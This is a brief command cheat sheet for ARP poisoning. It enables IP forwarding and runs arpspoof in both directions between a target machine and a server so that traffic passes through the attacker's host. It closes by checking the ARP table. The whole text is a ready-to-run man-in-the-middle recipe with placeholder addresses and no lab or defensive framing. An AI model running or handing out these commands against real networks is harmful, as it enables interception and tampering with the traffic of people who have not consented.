[CURRENT ARP INFO]
$ arp

[TURN ON IP FORWARDING]
$ echo 1 > /proc/sys/net/ipv4/ip_forward

[INITIATE ARP POSITIONING – TARGET AND DESTINATION]
$ arpspoof -i eth0 -t <target_IP_address> <who_we_want_to_be>
$ arpspoof -i eth0 -t <server_IP_address> <target_IP_address>

[SEE IF IT WORKED]
$ arp -a

VIEW AN EXPANDED EXPLANATION OF ARP POISONING